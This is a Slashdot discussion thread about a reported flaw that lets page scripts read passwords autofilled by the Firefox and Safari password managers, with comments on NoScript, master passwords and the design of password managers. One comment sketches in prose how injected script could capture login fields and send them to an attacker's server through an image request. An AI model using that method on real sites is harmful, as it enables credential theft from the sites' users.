Slashdot Mirror


Holes Remain Open in Firefox Password Manager

juct writes "Although the Mozilla developers have fixed a known hole in the password manager of Firefox & Co, a door remains open for exploitation. According to an article on the heise site, hackers can still use JavaScript to steal passwords from users of the Mozilla, Firefox, and Safari browsers. However, the real problem might not be Firefox' password manager. If users can set up their own pages containing script code on a server, the JavaScript security model breaks. Heise Security demonstrates the possible password theft in a demo. 'From the users' perspective, this means that they should not entrust their passwords to the password manager on web sites that allow other users to create their own pages containing scripts. Otherwise somebody can easily create a page that steals the password as soon as the page is opened ... Users could also disable JavaScript or use add-ons such as NoScript to set up rules to provide additional protection. In the age of Web 2.0 this would, however, mean that many pages would cease to function. On the other hand it is doubtful that by not using a password manager security levels would be raised, since the resultant need to remember passwords often induces users to choose simplistic passwords and use them on multiple sites.'"

191 comments

  1. Thank goodness... by gardyloo · · Score: 1, Funny

    ... my luggage doesn't run JavaScript.

    1. Re:Thank goodness... by Opportunist · · Score: 3, Funny

      Which brings us back to simplistic password. I mean, you'd be surprised how many people have 1 2 3 4 5 as the key to their luggage. Or their atmosphere shield.

      --
      We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
    2. Re:Thank goodness... by KevlarTheSleepinator · · Score: 1

      It seems you haven't yet heard of the Luggage 2.0 phenomenon

      --
      Move Sig, for great justice.
    3. Re:Thank goodness... by sci50514 · · Score: 1, Interesting

      I travel widely. If your luggage is randomly selected by US custom for inspection, they will force open your luggage if they can't open it using the default 0000 password. Good luck when it hits you. I got my luggage damage a few years ago and a letter stating Homeland Security is not liable for any damage. Now I never set password on my luggage. There is nothing expensive inside any way.

    4. Re:Thank goodness... by SatanicPuppy · · Score: 1, Offtopic

      I just stopped carrying luggage. Now when I travel, if I'm forced to fly commercial, I carry a backpack with what I need, and ship the rest.

      Homeland security is a bad joke; they only prepare for the least likely attacks...I can't carry a soda on the plane because I may have 50,000 dollars worth of chemistry equipment shoved up my ass which would allow me to manufacture that soda into a bomb? Give me an effing break.

      I have to x-ray my shoes because my shoes may explode? Do I look like James Bond? And, insult to injury, they only x-ray the damn things, so if, for example, they were semtex encased in a thin layer of rubber that I was going to detonate with junk stored in my laptop or cell phone, it still wouldn't be caught.

      --
      ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
    5. Re:Thank goodness... by Anonymous Coward · · Score: 0

      semtex encased in a thin layer of rubber

      So, does semtex ignite in fire (I'm not a demolition expert, I dunno)? Because dohs still officially allows you to fly with a book of matches despite the fact there's no legal use of them on board.

      At least the shoe thing was something that was tried before (Richard Reid). That the response was to make everyone take off their shoes rather than take away their sources of ignition is sad though.

    6. Re:Thank goodness... by SatanicPuppy · · Score: 2, Interesting

      On a related note, they announced today that they were going to stop banning lighters. Not that the shoe bomber guy used a lighter (he used matches which have never been banned), but still. Semtex is a plastic explosive, and not readily flammable. It used to be really popular with the terrorists, but they've taken steps to make it much more easily detectable.

      The TSA guy was quoted in the article saying that "Taking lighters away is security theater." Nice to see someone in charge gets it, and, even more choice, in getting it, quotes Bruce Schneier's catch phrase.

      --
      ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
    7. Re:Thank goodness... by Fordiman · · Score: 1

      Pointless article.

      How many sites have the login field on the user generated pages *and* allow users to post javascript?

      Few, if any.

      --
      110100 1101000 1101000 1100110 0 1101111 1101000 1100011 1
    8. Re:Thank goodness... by ralewi1 · · Score: 1

      On reading the article, I had a horrible vision of TSA guys milking mothers to keep them under the 3 oz breastmilk limit. Totally irrational vision, but the TSA's "react to yesterday's threat" mentality isn't much better.

  2. Firefox no longer safe? by JamesD_UK · · Score: 4, Funny

    That's it, I'm leaving the Internet. Forever.

    1. Re:Firefox no longer safe? by jimbug · · Score: 4, Funny

      can I have your karma?

      --
      Bite my shiny metal ass.
    2. Re:Firefox no longer safe? by dvice_null · · Score: 4, Insightful

      It is not about safety of the Firefox. It is about safety of websites that allows users to insert Javascript code to their sites. It's like a bank which would allow anyone to step behind the desk and act as an employee of the bank.

      But they can only "steal" the passwords of that website. They can't steal your all passwords. So just remember to select different passwords for websites that might allow users to insert Javascript code on the site. So it doesn't matter that much if they manage to steal your passwords.

      Or use Noscript as suggested. Or simply don't use such websites, as they clearly don't think much about user's security.

    3. Re:Firefox no longer safe? by CastrTroy · · Score: 3, Insightful

      Which outlines the whole strength of having a password manager. You can have a different password for each website. Without a password manager, it's hard to do this because there are so many sites that require passwords. For my password management, I use passwordsafe, because it lets me manage all my passwords, not just ones for websites, and I can put it on a usb memory stick, and carry all my passwords with me.

      This brings up another thought. If the websites in question allow users to post javascript, and there happens to be a login section on that page, then couldn't the user posting the script add an onchange or onkeypress event to the username and password fields to capture the username and password, and then forward the information to their server by creating an img element, and having the username and password passed as GET variables appended to the URL of the img src, which is in fact just a php page that stores the username and password in a database. Seems to me that any site that allows people to post executable javascript is just asking for trouble.

      --

      Anthropic principle: We see the universe the way it is because if it were different we would not be here to see it.
    4. Re:Firefox no longer safe? by mhall119 · · Score: 1

      But that would at least require the user to enter their username and password before it can be stolen. I think the problem with Firefox and Safari is that they automatically populate those fields when the page loads, the user doesn't have a chance to _not_ enter that information.

      --
      http://www.mhall119.com
    5. Re:Firefox no longer safe? by EvanED · · Score: 3, Insightful

      Or simply don't use such websites, as they clearly don't think much about user's security.

      Because it's always clear what sites these are?

    6. Re:Firefox no longer safe? by Falstius · · Score: 2, Insightful

      So just remember to select different passwords for websites that might allow users to insert Javascript code on the site. So it doesn't matter that much if they manage to steal your passwords.
      I use the same crappy password on a whole bunch of sites. If someone steals it, they can deface my Facebook page, use my nick on IRC, post on Slashdot under my name. Who knows, it might get modded up for once. There are a limited number of nonguessable, easy to remember passwords in my life, I won't waste them on wikis, forums, and myspace.
      My bank, bills and credit card each have their own password and username however. As do my computer and email.
    7. Re:Firefox no longer safe? by l0b0 · · Score: 1

      "It is not about safety of the Firefox. It is about safety of websites that allows users to insert Javascript code to their sites."

      Please. "It is not about safety of the Outlook. It is about safety of ISPs that allows users to insert code in their email."

    8. Re:Firefox no longer safe? by CastrTroy · · Score: 2, Interesting

      Oh, I'm not saying that there isn't a problem with the password manager. What I am saying, is that if there wasn't a password manager, sites that allow users to post arbitrary javascript on the site would still have problems with users passwords being stolen. So, while the password manager probably needs to be fixed, the sites that allow users to post javascript are an even bigger threat, as they allow passwords to be stolen, as well as many other exploits.

      --

      Anthropic principle: We see the universe the way it is because if it were different we would not be here to see it.
    9. Re:Firefox no longer safe? by sjames · · Score: 1

      Of course, if a website allows visitors to inject javascript, they can steal passwords even if they're not in password manager, just cause a page to come up that looks like the login page and most people will "log back in" using the fake form.

      For that matter, according to one study, just saying "Go to example.com and give me your password and I'll send you a candy bar!" will work fine.

    10. Re:Firefox no longer safe? by asrail · · Score: 1

      The exploit doesn't work if you've more than one password for that site.

    11. Re:Firefox no longer safe? by ET_Fleshy · · Score: 1

      I would give Keepass a look if you want a phenomenal password organizer. It's auto-type feature is unparalleled!

    12. Re:Firefox no longer safe? by jp10558 · · Score: 1

      I see keypass talked up a lot - how does it compare to keywallet? It certainly is more actively maintained, but it looks far more complex, and it's never clear to me if it can do the multiple fields at once like KeyWallet does.

      --
      Opera, Proxomitron-Grypen,GPG 0x0A1C6EE3
  3. It's evolution baby by Anonymous Coward · · Score: 1, Insightful

    Only the brightest survive (e.g. we, who use NoScript).

    1. Re:It's evolution baby by janrinok · · Score: 2, Interesting

      The article and TFS tell me that using NoScript (which I do) means that many Web2 sites no longer function properly. I cannot say that I have ever noticed this - has anybody? Perhaps it only affects the sort of web page that I would not wish to visit...?

      --
      Have a look at soylentnews.org for a different view
    2. Re:It's evolution baby by jojoba_oil · · Score: 1

      It's poor wording. Whether or not this wording is intentional, however, may be a good topic of debate...

    3. Re:It's evolution baby by apathy+maybe · · Score: 1

      Many airline websites don't function if you have JavaScript and cookies turned off. Of course, they don't tell you that they need these things, they just silently fail.

      Some sites, such as Slashdot and Wikipedia, use JavaScript, but only for extra functionality. You don't actually need it.

      Some sites that do require JavaScript actually are kind enough to tell you if have JavaScript disabled, but there aren't that many that I've noticed.

      --
      I wank in the shower.
    4. Re:It's evolution baby by drinkypoo · · Score: 1

      They don't work properly until you activate scripts. You haven't noticed that pages which require javascript don't work after installing noscript, at least until you do something? It doesn't sound like it's working right to me :P (or you aren't)

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    5. Re:It's evolution baby by janrinok · · Score: 1

      Thank you, but this I know. That is not quite the same as saying Web2 pages do not work. Neither do Web1 pages if they rely on JavaScript. (http://www.oreillynet.com/pub/a/oreilly/tim/news/ 2005/09/30/what-is-web-20.html). So this is simply a statement which means that 'if you switch of JavaScript then those pages that need JavaScript will not function correctly'. That's why I have been using NoScript for a long time - it prevents a web site running code on my computer.

      --
      Have a look at soylentnews.org for a different view
    6. Re:It's evolution baby by janrinok · · Score: 1
      --
      Have a look at soylentnews.org for a different view
    7. Re:It's evolution baby by DittoBox · · Score: 1

      One ought naught attribute to malice what one can attribute to stupidity...

      --
      Good. Cheap. Fast. Pick Two.
    8. Re:It's evolution baby by Anonymous Coward · · Score: 0

      Most of the people who use that tired "Web 2.0" meme would agree that Ajax is an important part of it. More generally speaking, quick, small changes in a web page in response to user action, without reloading the whole page. Which requires client-side scripting, i.e. Javascript (or applets of some kind). Of course "Web 2.0" is also supposed to be about smart fallbacks, so disabling Javascript shouldn't break ajaxy sites, just make them less slick.

    9. Re:It's evolution baby by angst_ridden_hipster · · Score: 2, Funny

      One ought not attribute to malice or stupidity what one can attribute to malice *and* stupidity.

      --
      Eloi, Eloi, lema sabachtani?
      www.fogbound.net
    10. Re:It's evolution baby by Anonymous Coward · · Score: 0

      And 1Passwd.
      No Mac? Nevermind, sucker. :-p

    11. Re:It's evolution baby by Anonymous Coward · · Score: 0

      If you think using NoScript is the solution to this problem, think again.

      Let's take the MySpace example. Many users will enable Javascript on MySpace.com to be sure to not miss all the cool features on their favorite-band-of-the-week MySpace page. Then, once they go to another user page (with JS still activated), their password gets stolen.

      NoScript is useless against this flaw because it (en|dis)ables JavaScript for a given domain while the flaw is precisely targeting the same domain for which the password is saved.

  4. stupid features by D+iz+a+n+k+Meister · · Score: 1, Interesting

    I think people really need to have their head examined when it comes to certain features.

    Don't want to remember all your passwords? Don't use sites that require passwords.

    Do you trust the your real life keys to be managed by a third party, then wonder how someone broke in your house without forced entry?

    Having something "remember" your passwords defeats the purpose of having passwords.

    --

    He painted a unicorn in outer space. I'm askin' ya, what's it breathin'?
    1. Re:stupid features by dvice_null · · Score: 4, Insightful

      > Don't want to remember all your passwords? Don't use sites that require passwords.

      Or more specificly: Don't use internet. How many webmails you know that don't use password? You couldn't even write to Slashdot, except anonymously.

      > Do you trust the your real life keys to be managed by a third party, then wonder how someone broke in your house without forced entry?

      Yes, 3rd party has keys to our home. It is quite common with the apartment houses where I live. It is however quite unlikely that they would steal from us, as they would be number one suspects. So far I have never been robbed by they key holders, nor have I ever heard of a case that someone else had been.

      > Having something "remember" your passwords defeats the purpose of having passwords.

      Not really. It just makes the password behave more like client sertificates that automatically identify client to the server.

    2. Re:stupid features by xgr3gx · · Score: 0

      I agree. Using a password manager makes you lazy and forgetful of your passwords. I used to use one until I tried to login to places on computers other than my own and couldn't remember my login info. That, and when I realized how easy they can be exploited.

      --
      Shameless plug alert: Game server control panel
    3. Re:stupid features by D+iz+a+n+k+Meister · · Score: 1

      Insightful, huh people?

      Look, I like firefox. I am using it right now.

      But,

      >Not really. It just makes the password behave more like client sertificates that automatically identify client to the server.

      demonstrates such a lack of understanding, I don't even know where to begin.

      No, a password manager doesn't make passwords behave like client sertificates. It makes passwords available to javascript.

      Please, show me a client sertification protocol that makes the full credentials available to insecure parts of the application.

      A landlord having duplicate keys is NOT the same thing as having someone manage YOUR OWN PERSONAL COPY of the keys.

      It is a stupid feature.

      M$ passport is also a stupid feature.

      Yeah, managing my /. password in the same place as my banking password is soooo freaking brilliant. The two places deserve equal security.</sarcasm>

      --

      He painted a unicorn in outer space. I'm askin' ya, what's it breathin'?
    4. Re:stupid features by BrokenHalo · · Score: 1

      Don't want to remember all your passwords? Don't use sites that require passwords.

      Not very helpful, perhaps.

      But then, I don't allow my browser to remember any passwords that are important to me (by which I mean things like banking or important email accounts).

      Less important sites - and yes, Slashdot is one of them - can have passwords stored on my machine, since it's not really the end of the world if they get cracked.

    5. Re:stupid features by Cracked+Pottery · · Score: 1
      Some passwords are a nuisance, such as logging onto a free newspaper site. In the case where you are confident about the physical security of your computer, such as a home computer with trusted family members, it's a convenience so long as the system does not possibly provide your passwords to sites other than the true site for which they are used. Bank sites no longer permit authentication with stored passwords.


      It doesn't seem difficult to me to just require an authenticated certificate before passwords are presented for SSL sites. This should at least be an option. You can't always protect against foolishness, such as doing business involving money with untrusted sites. I don't want cookies being revealed to any but the site that issued it. These appear to be solvable problems.

    6. Re:stupid features by Peeteriz · · Score: 1

      Well, often I don't decide if I need a password.
      Most of these 'remembered' passwords are completely useless to me, just some random site requires that I 'create an account' to, say, view the postings in it's forums. And that dumb site then requires '6+ mixed case letters with at least one number', when I would be happy with a blank password - there Firefox remembering this password is a nice thing.

      Heck, I wouldn't even want to remember what username I have on these sites, I want it to 'just work' - if my computer wouldn't remember the usernames for me, i'd simply create a new disposable account every time instead of trying to write them down. Remembering it is feasible only if it's a standard username/password that I use on a hundred other sites.

    7. Re:stupid features by D+iz+a+n+k+Meister · · Score: 1

      It's a feature that encourages laziness, and was implemented lazily.

      Oh, but it looks good on you though.

      --

      He painted a unicorn in outer space. I'm askin' ya, what's it breathin'?
    8. Re:stupid features by nmos · · Score: 1

      Yes, 3rd party has keys to our home. It is quite common with the apartment houses where I live. It is however quite unlikely that they would steal from us, as they would be number one suspects. So far I have never been robbed by they key holders, nor have I ever heard of a case that someone else had been.

      Breaking in to the appartment manager's office in order to steal keys to the other appartments is a pretty common strategy among burglers.

    9. Re:stupid features by EvanED · · Score: 1

      No, a password manager doesn't make passwords behave like client sertificates. It makes passwords available to javascript.

      Is this an innate feature of password memories? I don't think so. It's just a buggy implementation.

      I bet you could do it right, or at least right enough to protect against most attacks.

    10. Re:stupid features by Ensayia · · Score: 1

      Excellent point, for the longest time I didn't even use cookies to remember passwords or logins, the few that I do now are rare.

      Any time you rely on something besides yourself to handle your password, you put your password at risk. I'm a techie and a gamer, so I visit many sites daily that require passwords, and I use only a few strong passwords for the sites I visit.

      I see a lot of people who have the browser, application, or otherwise remember their passwords for them just because they "don't feel like typing it" over and over. It's your choice, a security risk or 3 extra seconds of your time.

    11. Re:stupid features by D+iz+a+n+k+Meister · · Score: 1

      right enough?

      Is that supposed to be persuasive?

      You bet you could do it right??

      Alright. I bet any implementation of a "password manager" will have an attack. I bet some implementations of client sertificates will not.

      It's not just buggy. It is LAZY. It encourages LAZINESS. I don't see how anyone can believe that this bullshit feature will succeed without problems.

      --

      He painted a unicorn in outer space. I'm askin' ya, what's it breathin'?
    12. Re:stupid features by Peeteriz · · Score: 1

      Well, I can agree with you on the laziness part. This feeling would also encourage to use it for sensitive passwords, like online banking - and that's a risky thing.

      There are quite a few suggestions on this thread on how to implement a more secure (but less convenient) password storage, but maybe a hybrid solution would be best ? Say, have a feature to mark a password as 'important', and Firefox would keep it encrypted, and wouldn't send it to webpages until you order to do so (like in Opera)..

    13. Re:stupid features by Hatta · · Score: 0

      Why not just keep all your passwords in a GPG encrypted text file? That way you only have to remember one passphrase.

      --
      Give me Classic Slashdot or give me death!
    14. Re:stupid features by Anonymous Coward · · Score: 0


      M$ passport is also a stupid feature.

      Yeah, managing my /. password in the same place as my banking password is soooo freaking brilliant. The two places deserve equal security.


      This is a strawman I suspect. Does passport bill itself as providing a place where you should store passwords for sensitive things such as your bank account?

      Even if they do, if you back up and look you could see that it could still be useful. Having the same password between /., worsethanfailure.com, fark.com, and a couple forums I frequent IS reasonable, and in fact I use the same password for each of those. (Minus /., because I registered here before the other places.) Having SSO between those sites would be fine.

    15. Re:stupid features by stephanruby · · Score: 1

      "How many webmails you know that don't use password? "

      Half a dozen may be. Mailinator, my trash mail, bucket mail, dodgit, pookmail, and spambob. And don't worry about their domain names either, many of them have multiple domain names that their users donated to them.

    16. Re:stupid features by Anonymous Coward · · Score: 0

      Insightful, huh people?
      If I were you, I'll stfu. Being rebutted is already pretty bad, but being rebutted by a +5 Insightful owns you to the max. Suck it baby! You are a joke and thanks for the making my day.
  5. Possible fix by Arthur+B. · · Score: 4, Interesting

    Do not use a pull model but a push model like the bugmenot extension. A right click in the login form would allow you to automatically enter saved information. It's much safer.

    --
    \u262D = \u5350
    1. Re:Possible fix by discord5 · · Score: 1

      A right click in the login form would allow you to automatically enter saved information. It's much safer.

      Actually, it wouldn't. It would prevent this simple javascript "exploit", but you can adjust the tactic for this. Now you would just either wait for the login form to lose focus or to be submitted. Click on the submit button, trigger the onSubmit handler that you can craft because someone was stupid enough to allow users to do javascript, and we're down the same road again.

      You should never allow untrusted users to put javascript on your site (and to be on the safe side even HTML).

    2. Re:Possible fix by m0RpHeus · · Score: 2, Interesting

      Do not use a pull model but a push model That's exactly how Opera's password manager works. You need to click on the Wand button to enter the user name and password on the form fields. And FYI, the security hole does not affect Opera.

      --
      Take-off every .sig! For Great Justice!
    3. Re:Possible fix by Arthur+B. · · Score: 1

      In the case you describe (user javascript on the same page as the login form) manually entered javascript is also affected... there's not much you can do about that in the browser.

      --
      \u262D = \u5350
    4. Re:Possible fix by Arthur+B. · · Score: 1

      please read: manually entered logins

      --
      \u262D = \u5350
    5. Re:Possible fix by discord5 · · Score: 1

      In the case you describe (user javascript on the same page as the login form) manually entered javascript is also affected...

      Well, the exploit in question does deal with some user forging a login form and adding some javascript to a webpage on the domain he's visiting. From the article:

      From the users' perspective, this means that they should not entrust their passwords to the password manager on web sites that allow other users to create their own pages containing scripts.

      there's not much you can do about that in the browser.

      Nothing at all. Take a look at the code they present. They just wait a second so the password manager fills out the form, then get the values from the form. So, if you're able to do that on a webpage, you're able to do a lot worse. This isn't really a problem with just the password manager, it's an age old javascript problem now applied to the password manager. They could've easily applied it to a user manually entering a form and doing something with onSubmit.

      Yeah, it's a problem, and no, password manager isn't really to blame. It's a problem because someone managed to add malicious code to your site. So, mozilla developers could disable password managers for pages that have javascript in them, which in our "web 2.0 world" (lol) means that 90% of the sites today wouldn't have the password manager available.

  6. Re:Lies, damned lies by hal9000(jr) · · Score: 1

    So before you jump to that conclusion, have you tested this against other browsers?

    Not being a developer myself,I don't know have an idea about how to fix it, but this seems like an awful sticky technical problem.

  7. password complexity by farker+haiku · · Score: 4, Interesting

    I used to think (back in my tech support days) that people who couldn't remember their password were just plain stupid. These days, I work in a large firm that has tons of different passwords for everything. Unix passwords, windows passwords, spam mail setting utility password, time tracking utilities have passwords, passwords are required for clearcase/clearquest, remote login, etc. Each of them has different password complexity rules. I no longer criticize people for forgetting their password.

    --
    Your sig(k) has been stolen. There is a puff of smoke!
    1. Re:password complexity by farker+haiku · · Score: 1

      I meant to tie that in with the topic... these password managers make life easy. The person that comes up with a secure, non hackable implimentation of it will make a fortune.

      --
      Your sig(k) has been stolen. There is a puff of smoke!
    2. Re:password complexity by UbuntuDupe · · Score: 1

      I have two credit cards. (Well three, let's start with the two.) Each of them I got from a different credit union. For online access to those cards' accounts, the CU sites send me to ezcardinfo.com. Even though both cards are stored at that site, I have to set up a different username for each site. Then ezcardinfo and my CUs phased in new security measures where I have to also know a picture and a description of that picture for each site. So that means four sites for which I have a username, password, picture, description of a picture, and security questions, even though they could be (and were previously) consolidated to two.

      On top of that, I have a third credit card (before you ask, yes I pay the balance on each bill, no interest accrued) that has a different namespace requirement, requiring a different username and password. Add to that my 401k site, my non-work mutual fund site, and my discount brokerage site. (The 401k provider, Fidelity, sucks for mutual funds, and the mutual fund site, Vanguard, sucks for stock purchase.) All with their own security measures.

    3. Re:password complexity by Cyberax · · Score: 1

      Yep, same problem. I've found that a real paper small notebook is your best friend (and a backup printout of all passwords kept in safe place).

    4. Re:password complexity by Sparr0 · · Score: 1

      My company of ~200 users has perhaps a dozen services that require logins... and they are ALL synchronized. From our legacy SCO Unix apps to our LAMP intranet site, each person has only one login and password. The synchronization is mostly handled by performing logins via LDAP, with a few of the most stubborn bits being subject to a script that resets them to match the LDAP database every so often.

      In other words...

      YOURE DOING IT WRONG.

    5. Re:password complexity by Nimey · · Score: 1

      Yes. GP's company needs to figure out how to get all their apps to talk to an LDAP database, then have just one username/password for everything, and a single complexity requirement &c. And a policy that involves a righteous LARTing if a luser writes user/pass on a sticky.

      And FFS, don't put stupid things like how much a given user is being paid into the LDAP; that's just asking for trouble.

      --
      Hail Eris, full of mischief...

      E pluribus sanguinem
    6. Re:password complexity by Anonymous Coward · · Score: 0

      Rather, his company is doing it wrong. And chances are there isn't a damn thing he can do about it, besides get a different job. That's probably a bit extreme.

  8. Clarification by jojoba_oil · · Score: 5, Informative

    Users could also disable JavaScript or use add-ons such as NoScript to set up rules to provide additional protection. In the age of Web 2.0 this would, however, mean that many pages would cease to function. That's very misleading. Allow me to clarify:

    Users could also disable JavaScript, which in the age of Web2.0 would cause many pages to display incorrectly. A better alternative is NoScript!, an add-on that allows users to selectively white-list pages, servers, or domains to use JavaScript.

    1. Re:Clarification by Opportunist · · Score: 3, Interesting

      That's exactly the problem with Web2.0, that NoScript would probably not cut it.

      Take MySpace. How do you want to handle it? Whitelist MySpace as a whole? Then you got no security. Whitelist certain user pages? Then someone who browses userpages has essentially the equivalent of having JS turned off and gets bugged every 2 seconds. And the potential problem that someone might generate content you want to see and bug it.

      The problem is not that certain domains are "evil". Ok, that problem exists, too, but it's a very different problem. The problem is that it's now possible to put malicious script code into user generated content, and that other content on the same server and domain is what people want to see.

      --
      We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
    2. Re:Clarification by Gregb05 · · Score: 1

      You're not banking with MySpace (I hope)
      Generally if a site has some sort of importance, there will be no native AJAX/Javascript/whatever that will interfere with people blocking scripts on the site.
      Worst thing that could happen on MySpace is someone puts a terrorist comment, the FBI talks to you and you say that you didn't put it there, and the IP logs will back you up.


      I don't think anyone in the world will go into the business of stealing Web2.0 passwords for profit.

      --
      --
    3. Re:Clarification by flitty · · Score: 2, Insightful

      Easy. Don't use Myspace.

      Usually my NoScript when blocking Java has a list of about 5 or 6 current sites running scripts (ad-servers and whatnot, ads.google.com comes up on almost every page), and anything other than the trusted site i'm at NEVER gets whitelisted, it's just not worth the risk. It's a hell of a lot better running a crippled 2.0 website than losing control of what's coming into my computer. I don't need to see all your pretty java crap, and a good site doesn't rely on java to display correctly anyway.

      --
      Whether or not there is some sort of god, I'm not supposed to say/god is a word and the argument ends there-Smog
    4. Re:Clarification by jojoba_oil · · Score: 2, Informative

      Then someone who browses userpages has essentially the equivalent of having JS turned off and gets bugged every 2 seconds. And the potential problem that someone might generate content you want to see and bug it. Gets bugged every 2 seconds? Have you used NoScript? It provides a very minimally intrusive bar along the bottom of the browser stating "NoScript has blocked X number of scripts", and you can even turn that off. And without scripting enabled on a page, how do you expect the page to "bug" users to enable JavaScript? The very best they can do is provide a <noscript> tag asking for it -- and then we'd be assuming the user can make the decision themselves.

      Browsing websites such as MySpace works fine without JavaScript -- they want users on their pages, even if their browser doesn't support/enable JavaScript. It is extremely rare that I stumble across a website that I cannot get working. As for user-generated content, that's precisely the reason NoScript! allows you to whitelist specific pages. (Or being that I'm not a dev, perhaps it's just a handy use for that feature).

      Please stop spreading FUD and use an extension before you try to knock it.

    5. Re:Clarification by metamatic · · Score: 1

      I've just submitted an enhancement request saying that NoScript + CookieSafe is how cookie and script security ought to work by default. If you agree, please pile on and vote for it.

      --
      GCHQ Quantum Insert installed. If only our tongues were made of glass, how much more careful we would be when we speak
    6. Re:Clarification by Anonymous Coward · · Score: 1, Informative

      Browsing websites such as MySpace works fine without JavaScript -- they want users on their pages, even if their browser doesn't support/enable JavaScript.

      Browsing myspace does not work fine without javascript. They use it for at least the "pager" (<< 1 2 3 >>) in the comments/groups/forums. Fine if you want to view only one page I guess....
    7. Re:Clarification by Strilanc · · Score: 1

      Horrible idea. Majority of user won't understand why the site won't work (even with the "SCRIPTS BLOCKED" message). At best, they should be optional. Oh wait... THEY ARE

    8. Re:Clarification by Anonymous Coward · · Score: 0

      Umm...no. The IP logs will say the post came from you.

      That's the problem with these kinds of attacks, everything looks like it came from your machine (because it actually did).

    9. Re:Clarification by metamatic · · Score: 1

      As I wrote in my suggestion, the default could continue to be "allow everything". The new UI would only take effect if you decided to turn on cookie and script security.

      --
      GCHQ Quantum Insert installed. If only our tongues were made of glass, how much more careful we would be when we speak
    10. Re:Clarification by turing_m · · Score: 1

      "I don't need to see all your pretty java crap, and a good site doesn't rely on java to display correctly anyway."

      Hell yes. If web 2.0 means accepting malware by default, I'll be perfectly happy with Web 1.0 thank-you-very-much.

      --
      If I have seen further it is by stealing the Intellectual Property of giants.
  9. Firefox password manager by wile_e_wonka · · Score: 4, Interesting

    The thing that scared me away from the password manager in Firefox was a program called System Info for Windows. It lists all sorts of things about your computer--click on "Secrets." It searches for passwords in several programs--I have a few passwords saved in FF and the vast majority in Opera. I saw both programs mentioned in its analysis (meaning it searched both FF and Opera for saved passwords). It listed every saved FF password but no Opera passwords.

    It seems to me that if this program can do that, then it can't be hard for a more nefarious program on my computer to do the same.

    1. Re:Firefox password manager by jedidiah · · Score: 2, Insightful

      You aren't trying to keep it secret from yourself. You're trying to keep it secret from others. At the very least you could run the relevant password saving program in a debugger on your own machine to extract the data in question.

      The fact that a program running on your machine as you can read your passwords is only marginally disturbing.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    2. Re:Firefox password manager by jojoba_oil · · Score: 1

      For your passwords saved in Firefox, do you use a master password?

      As far as I know, unless you provide that master password as an external "key" there really isn't any way that Firefox can store your passwords in such a manner to prevent other programs from retrieving them while still able to access them as plain text itself.

    3. Re:Firefox password manager by Derek+Pomery · · Score: 4, Informative

      Your first mistake is not setting a master password in Firefox.
      Once you do that it won't be able to read them either.
      Its failure to read the Opera ones means either A) you set a master password in Opera or B) no one cares about Opera so program doesn't even look for them.

      --
      -- perl -e'print pack"H*","6e656d6f406d38792e6f7267"' /. ate my old sig. Bastards.
    4. Re:Firefox password manager by gazbo · · Score: 1

      That really shouldn't come as a surprise. How can the browser supply the password to a site if it's not somewhere on the hard disk waiting to be read? The only sensible way is to encrypt it with a key that the user must enter on browser startup, which most people would find a fucking annoying nag rather than a necessary security feature.

    5. Re:Firefox password manager by kebes · · Score: 1

      It seems to me that if this program can do that, then it can't be hard for a more nefarious program on my computer to do the same.
      Well, any program running with user rights can probably read the firefox passwords, since they are not hard for a user to obtain. Just go into "Options" > "Security" > "Show Passwords..." > "Show Passwords" and click "Yes" on the confirmation dialog. You'll see all the stored passwords in plaintext. This means that your passwords can be read without trouble. For instance anyone who sits down at your computer can check through those and find out what your passwords are.

      This kind of password manager is not very secure... but then again the intention here is convenience. The idea is that on computers you "trust" (you are confident that they are physically secured to only trusted people sitting down at them, and you are confident they are not riddled with spyware) then you give up a little bit of security for a good amount of convenience. Of course it goes without saying that you should not be using the same passwords on these unimportant websites (which get stored in your password manager) and important things in your life (e.g. root password on an important server!).

      In KDE, the KWallet application allows you to use a single master-password to store/encrypt all these lower-priority passwords. This is slightly less convenient, but is much more secure. When you start browsing in Konqueror and encounter a password field, KWallet pops up, you enter your master-password and it fills in the password fields for you. You also set a timeout if you want (the wallet "stays open" for some amount of time, so you don't have to re-enter the master password too often). Without the master password you can't unlock (or even decrypt) all the other passwords. With only one password to remember, it's reasonably convenient. Probably there similar apps available for OS X and Windows? In any case what I would like to see is Firefox switch to this kind of password manager--where the passwords are all encrypted with a "master password."
    6. Re:Firefox password manager by kebes · · Score: 1

      what I would like to see is Firefox switch to this kind of password manager--where the passwords are all encrypted with a "master password."
      To clarify (before someone points out my mistake!): I see that Firefox has a "Set Master Password" option in the Security settings. What I should have said was:

      what I would like to see is Firefox switch to this kind of password manager--where the passwords are all encrypted with a "master password" in the default configuration.
    7. Re:Firefox password manager by Eric+Pierce · · Score: 1

      "It seems to me that if this program can do that, then it can't be hard for a more nefarious program on my computer to do the same."

      Exactly. For example, something like System Info for Windows EP

    8. Re:Firefox password manager by wile_e_wonka · · Score: 1

      I don't have a master password in Opera--and the program does look for them (reread my post). Additionally, passwords in Opera are saved in "wand.dat"; if you open this file in a text editor is comes out nonsense. Other Opera .dat files (cookies, history, etc) are readable in a text editor (I notice they are more readable in Wordpad than Notepad), which makes me think Opera isn't just saving these as text. FF passwords appear to be saved in "signons2.txt"--this file opens nicely in notepad or wordpad, and is easily readable--except for the usernames and passwords themselves, which are encrypted.

      I find it notable that this little program easily gleans the info from FF while not able to pull password info from Opera (though it does try). Another user said this is no big deal because it's a program running locally on my computer. It seems to me that it's still a security risk because a virus like this program could upload that password information to some criminal. Plus--how do I know this information can't be collected remotely?

      Last--FF needs a master password set to be even remotely secure with regard to passwords, while Opera does not. This seems like a big hole.

    9. Re:Firefox password manager by p3d0 · · Score: 1

      Or, it could ask for a "master password" when it goes to fill in a password the first time.

      WAIT! It already does that!! OMG

      --
      Patrick Doyle
      I mod down every jackass who puts his moderation policy in his sig. Oh, wait a sec....
    10. Re:Firefox password manager by gazbo · · Score: 1
      Yeah, that's...kinda what I was hinting at.

      But thanks for clarifying anyway - I'm sure it's useful for people "playing along at home".

    11. Re:Firefox password manager by Anonymous Coward · · Score: 0

      “what I would like to see is Firefox switch to this kind of password manager--where the passwords are all encrypted with a "master password" in the default configuration.”

      In the case of FireFox, that would not help much, because its method of storing that master password would be public knowledge.

    12. Re:Firefox password manager by J0nne · · Score: 1

